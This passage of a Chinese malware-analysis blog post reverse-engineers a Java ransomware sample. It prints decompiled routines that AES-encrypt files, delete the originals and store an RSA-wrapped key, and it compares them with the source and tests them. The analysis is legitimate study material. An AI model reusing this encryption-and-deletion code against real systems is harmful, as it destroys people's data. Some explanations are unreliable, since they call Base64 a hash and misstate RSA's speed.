`GenKey()`方法剩下的代码就是在初始化key了,加密方式是AES

继续`StartEncryptProcess()`,在初始化完key以及其它准备工作后,进行迭代,加密后的文件统一使用`.aes`后缀
[Java] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
while (iterator.hasNext()) {
final Map.Entry mentry = (Map.Entry)iterator.next();
final Object obj = mentry.getValue();
final ObjectMapper oMapper = new ObjectMapper();
final HashMap Map = (HashMap)oMapper.>convertValue(obj, (Class>)HashMap.class);
final Set mapset = Map.entrySet();
for (final Map.Entry entry : mapset) {
final File filein = new File(entry.getKey() + "." + entry.getValue());
final File fileout = new File(entry.getKey() + ".aes");
CryptoRansomware.EncryptFile(filein, fileout, aesKey);
}
}

对文件进行加密
[Java] 纯文本查看 复制代码
?
1
CryptoRansomware.EncryptFile(filein, fileout, aesKey);

进行AES加密,加密完成删除源文件,并且输出已删除的文件路径
[Java] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public static void EncryptFile(final File in, final File out, final SecretKeySpec aeskeySpec) {
try {
final Cipher aesCipher = Cipher.getInstance("AES/CFB8/NoPadding");
aesCipher.init(1, aeskeySpec, new IvParameterSpec(CryptoRansomware.ivBytes));
final FileInputStream is = new FileInputStream(in);
final CipherOutputStream os = new CipherOutputStream(new FileOutputStream(out), aesCipher);
copy(is, os);
is.close();
os.close();
}
catch (IOException ex) {
ex.printStackTrace();
}
catch (NoSuchPaddingException e) {
e.printStackTrace();
}
catch (NoSuchAlgorithmException e2) {
e2.printStackTrace();
}
catch (InvalidAlgorithmParameterException e3) {
e3.printStackTrace();
}
catch (InvalidKeyException e4) {
e4.printStackTrace();
}
final boolean bool = in.delete();
System.out.println("File deleted: " + bool);
}

在迭代完加密后,将记录信息保存到数据库
[Java] 纯文本查看 复制代码
?
1
EmbeddedDatabase.InsertRecordIntoTable(containsFilters, CryptoRansomware.RetrieveEncryptedAesKey(pubkey, aesKey));

虽然这里就一句,但后面执行的代码多着,我们先看第二个参数
[Java] 纯文本查看 复制代码
?
1
CryptoRansomware.RetrieveEncryptedAesKey(pubkey, aesKey)

`pubkey`是最开始`APP`类的公钥,第二个是AES加密的秘钥
[Java] 纯文本查看 复制代码
?
1
2
3
public static String RetrieveEncryptedAesKey(final String pubkey, final SecretKeySpec AesKeyspec) throws SQLException, GeneralSecurityException {
return Encrypt(RsaKeyReader.loadPublicKey(pubkey), AesKeyspec);
}

再看这里的第一个参数`RsaKeyReader.loadPublicKey(pubkey)`,可以看出来,在`APP`类里显示的是`Base64`哈希过后的,这里先进行`Base64`还原,再处理公钥,哈希方式为RSA
[Java] 纯文本查看 复制代码
?
1
2
3
4
5
6
public static PublicKey loadPublicKey(final String stored) throws GeneralSecurityException {
final byte[] data = Base64.decodeBase64(stored);
final X509EncodedKeySpec spec = new X509EncodedKeySpec(data);
final KeyFactory fact = KeyFactory.getInstance("RSA");
return fact.generatePublic(spec);
}

再来看`Encrypt(RsaKeyReader.loadPublicKey(pubkey), AesKeyspec)`,先将AES的秘钥进行`Base64`哈希,然后进行RSA加密,加密完后再进行`Base64`哈希
[Java] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public static String Encrypt(final PublicKey pubKey, final SecretKeySpec aeskeySpec) {
String encryptedString = "";
try {
final String encodedKey = Base64.encodeBase64String(aeskeySpec.getEncoded());
final byte[] plainBytes = encodedKey.getBytes("UTF-8");
final Cipher cipher = Cipher.getInstance("RSA");
cipher.init(1, pubKey);
final byte[] encrypted = cipher.doFinal(plainBytes);
encryptedString = new String(Base64.encodeBase64(encrypted));
return encryptedString;
}
catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
catch (NoSuchPaddingException e2) {
e2.printStackTrace();
}
catch (BadPaddingException e3) {
e3.printStackTrace();
}
catch (IllegalBlockSizeException e4) {
e4.printStackTrace();
}
catch (InvalidKeyException e5) {
e5.printStackTrace();
}
catch (UnsupportedEncodingException e6) {
e6.printStackTrace();
}
return encryptedString;
}

那么回到最开始的保存到数据库的操作`InsertRecordIntoTable()`,数据插入,输出`Insert Success`
[Java] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public static void InsertRecordIntoTable(final TreeMap> map, final String EncryptedKey) {
PreparedStatement preparedStatement = null;
final String insertTableSQL = "insert into RansomTable values(?,?)";
try {
preparedStatement = EmbeddedDatabase.conn.prepareStatement(insertTableSQL);
final byte[] buf = Serializer.Serialize(map);
preparedStatement.setBinaryStream(1, new ByteArrayInputStream(buf), buf.length);
preparedStatement.setString(2, EncryptedKey);
preparedStatement.executeUpdate();
EmbeddedDatabase.conn.commit();
System.out.println("Insert Success");
}
catch (SQLException e) {
System.out.println(e.getMessage());
}
catch (IOException e2) {
e2.printStackTrace();
}
finally {
if (preparedStatement != null) {
try {
preparedStatement.close();
}
catch (SQLException e3) {
e3.printStackTrace();
}
}
}
}

在将文件信息存储到数据库前会进行处理,转换成byte数组类型
[Java] 纯文本查看 复制代码
?
1
final byte[] buf = Serializer.Serialize(map);

转成byte数组,其实看上面的返回值就可以
[Java] 纯文本查看 复制代码
?
1
2
3
4
5
6
7
public static byte[] Serialize(final TreeMap> map) throws IOException {
final ByteArrayOutputStream baos = new ByteArrayOutputStream();
final ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(map);
oos.close();
return baos.toByteArray();
}

以上就是加密的所有过程,接下来分析解密过程

解密的分支
[Java] 纯文本查看 复制代码
?
1
p.StartDecryptProcess(PrivateKey);

在具体分析前我们可以大概的猜到解密的过程,开始加密的时候将map转为byte数组,那么肯定先要将byte数组转为map,然后迭代用私钥进行解密,不熟悉RSA的同学建议去学习一下RSA的原理,公钥加密,私钥解密,同时公钥还可以作为加密者的身份认证作用
[Java] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public void StartDecryptProcess(final String privKey) {
try {
final TreeMap> containsFilters = EmbeddedDatabase.GetMapFromTable();
final Set set = containsFilters.entrySet();
final Iterator iterator = set.iterator();
final SecretKeySpec aesKey = CryptoRansomware.RetrieveAesKey(privKey);
while (iterator.hasNext()) {
final Map.Entry mentry = (Map.Entry)iterator.next();
final Object obj = mentry.getValue();
final ObjectMapper oMapper = new ObjectMapper();
final HashMap Map = (HashMap)oMapper.>convertValue(obj, (Class>)HashMap.class);
final Set mapset = Map.entrySet();
for (final Map.Entry entry : mapset) {
final File filein = new File(entry.getKey() + "." + entry.getValue());
final File fileout = new File(entry.getKey() + ".aes");
CryptoRansomware.DecryptFile(fileout, filein, aesKey);
}
}
}
catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
catch (SQLException e2) {
e2.printStackTrace();
}
catch (GeneralSecurityException e3) {
e3.printStackTrace();
}
catch (NullPointerException e4) {
System.out.println("Map not Exists Encrypt First");
}
finally {
EmbeddedDatabase.DropTable();
}
}

将byte数组转为map对象
[Java] 纯文本查看 复制代码
?
1
final TreeMap> containsFilters = EmbeddedDatabase.GetMapFromTable();

关键是调用`Serializer.Deserialize();`
[Java] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public static TreeMap> GetMapFromTable() {
PreparedStatement preparedStatement = null;
TreeMap> map = null;
final String selectSQL = "SELECT MapTable FROM RansomTable ";
try {
preparedStatement = EmbeddedDatabase.conn.prepareStatement(selectSQL);
final ResultSet rs = preparedStatement.executeQuery();
if (rs.next()) {
final InputStream input = rs.getBinaryStream("MapTable");
map = Serializer.Deserialize(input);
return map;
}
}
catch (SQLException e) {
System.out.println(e.getMessage());
}
catch (Exception e2) {
return map;
}
finally {
try {
if (preparedStatement != null) {
preparedStatement.close();
}
}
catch (Exception ex) {
System.out.println("Exception during Resource.close()" + ex);
}
}
return map;
}

这里就相当于一个反序列化的过程了
[Java] 纯文本查看 复制代码
?
1
2
3
4
5
6
7
public static TreeMap> Deserialize(final InputStream stream) throws Exception {
final ObjectInputStream ois = new ObjectInputStream(stream);
final Object obj = ois.readObject();
final ObjectMapper oMapper = new ObjectMapper();
final TreeMap> Map = (TreeMap>)oMapper.>>convertValue(obj, (Class>>)TreeMap.class);
return Map;
}

这样一来,就将数据库里的数据转为map对象了

初始化迭代器
[Java] 纯文本查看 复制代码
?
1
2
final Set set = containsFilters.entrySet();
final Iterator iterator = set.iterator();

初始化key
[Java] 纯文本查看 复制代码
?
1
2
3
4
public static SecretKeySpec RetrieveAesKey(final String privKey) throws SQLException, GeneralSecurityException {
final String EncryptedAesKey = EmbeddedDatabase.SelectKeyFromTable();
return Decrypt(RsaKeyReader.loadPrivateKey(privKey), EncryptedAesKey);
}

[Java] 纯文本查看 复制代码
?
1
final SecretKeySpec aesKey = CryptoRansomware.RetrieveAesKey(privKey);

前面把AES加密的时候先是使用了`Base64`哈希,在RSA加密,再`Base64`哈希
[Java] 纯文本查看 复制代码
?
1
2
3
4
public static SecretKeySpec RetrieveAesKey(final String privKey) throws SQLException, GeneralSecurityException {
final String EncryptedAesKey = EmbeddedDatabase.SelectKeyFromTable();
return Decrypt(RsaKeyReader.loadPrivateKey(privKey), EncryptedAesKey);
}

这里先从数据库中获取各种加密哈希之后的AES秘钥
[Java] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static String SelectKeyFromTable() throws SQLException {
PreparedStatement preparedStatement = null;
String value = "";
final String selectSQL = "SELECT EncryptedKey FROM RansomTable ";
try {
preparedStatement = EmbeddedDatabase.conn.prepareStatement(selectSQL);
final ResultSet rs = preparedStatement.executeQuery();
if (rs.next()) {
value = rs.getString("EncryptedKey");
return value;
}
return value;
}
catch (SQLException e) {
System.out.println(e.getMessage());
}
catch (Exception e2) {
return value;
}
finally {
if (preparedStatement != null) {
preparedStatement.close();
}
}
return value;
}

RSA私钥的初始化,因为私钥进行了`Base64`哈希,所以需要先还原
[Java] 纯文本查看 复制代码
?
1
2
3
4
5
6
7
8
public static PrivateKey loadPrivateKey(final String key64) throws GeneralSecurityException {
final byte[] clear = Base64.decodeBase64(key64);
final PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(clear);
final KeyFactory fact = KeyFactory.getInstance("RSA");
final PrivateKey priv = fact.generatePrivate(keySpec);
Arrays.fill(clear, (byte)0);
return priv;
}

AES秘钥先`Base64`还原,再RSA解密,再`Base64`还原
[Java] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public static SecretKeySpec Decrypt(final PrivateKey privateKey, final String cipherText) {
SecretKeySpec aeskeyspec = null;
try {
final byte[] plainBytes = Base64.decodeBase64(cipherText.getBytes("UTF-8"));
final Cipher cipher = Cipher.getInstance("RSA");
cipher.init(2, privateKey);
final byte[] decrypteed = cipher.doFinal(plainBytes);
final String DecryptedString = new String(decrypteed, "UTF-8");
final byte[] decodedKey = Base64.decodeBase64(DecryptedString);
aeskeyspec = new SecretKeySpec(decodedKey, 0, decodedKey.length, "AES");
return aeskeyspec;
}
catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
catch (NoSuchPaddingException e2) {
e2.printStackTrace();
}
catch (BadPaddingException e3) {
e3.printStackTrace();
}
catch (UnsupportedEncodingException e4) {
e4.printStackTrace();
}
catch (IllegalBlockSizeException e5) {
e5.printStackTrace();
}
catch (InvalidKeyException e6) {
e6.printStackTrace();
}
return aeskeyspec;
}

迭代解密
[Java] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
while (iterator.hasNext()) {
final Map.Entry mentry = (Map.Entry)iterator.next();
final Object obj = mentry.getValue();
final ObjectMapper oMapper = new ObjectMapper();
final HashMap Map = (HashMap)oMapper.>convertValue(obj, (Class>)HashMap.class);
final Set mapset = Map.entrySet();
for (final Map.Entry entry : mapset) {
final File filein = new File(entry.getKey() + "." + entry.getValue());
final File fileout = new File(entry.getKey() + ".aes");
CryptoRansomware.DecryptFile(fileout, filein, aesKey);
}
}

解密的具体代码,最终会删除已解密的加密文件,并输出已解密的文件路径
[Java] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public static void DecryptFile(final File in, final File out, final SecretKeySpec aeskeySpec) {
try {
final Cipher aesCipher = Cipher.getInstance("AES/CFB8/NoPadding");
aesCipher.init(2, aeskeySpec, new IvParameterSpec(CryptoRansomware.ivBytes));
final CipherInputStream is = new CipherInputStream(new FileInputStream(in), aesCipher);
final FileOutputStream os = new FileOutputStream(out);
copy(is, os);
is.close();
os.close();
}
catch (IOException ex) {
ex.printStackTrace();
}
catch (NoSuchPaddingException e) {
e.printStackTrace();
}
catch (NoSuchAlgorithmException e2) {
e2.printStackTrace();
}
catch (InvalidAlgorithmParameterException e3) {
e3.printStackTrace();
}
catch (InvalidKeyException e4) {
e4.printStackTrace();
}
final boolean bool = in.delete();
System.out.println("File deleted: " + bool);
}

那么整个样本的逆向分析到这里就已经结束了,接下来我们对照一下源码对比一下关键的地方

## 0x02 源码对比
导入IDEA

前面说的第一处问题,其实反编译器直接标注出来也方便分析



第二处,逆向的时候这里还分了两个`switch`,直接700+行



这个地方一开始我觉得可能会有跨平台的问题,后面实验发现并没有



## 0x03 测试
加密



加密完的效果,源文件被删除,后缀变成`.aes`,注意`Successfully removed cryptography restrictions`,既然走到这个分支,说明获取到的是`Java(TM) SE Runtime Environment`



解密



我们来实验一下获取`Java(TM) SE Runtime Environment`



## 0x04 小结
作者使用的加密组合其实是一个哲学问题,RSA加密速度快,解密非常慢,AES加解密速度都能接受,所以使用AES加密文件,使用RSA来加密AES的秘钥,其中使用了不少Java 8的新特性,能搜到的资料并不多,看Java源码看得眼泪都要掉下来了,代码写的很漂亮,三观正,而且有些地方写的是真的好,很值得我这种菜鸟学习

有些地方也有不足:
- 比如没有考虑没有后缀文件的情况,Linux下就会漏掉不少文件
原创 (Edit:800li)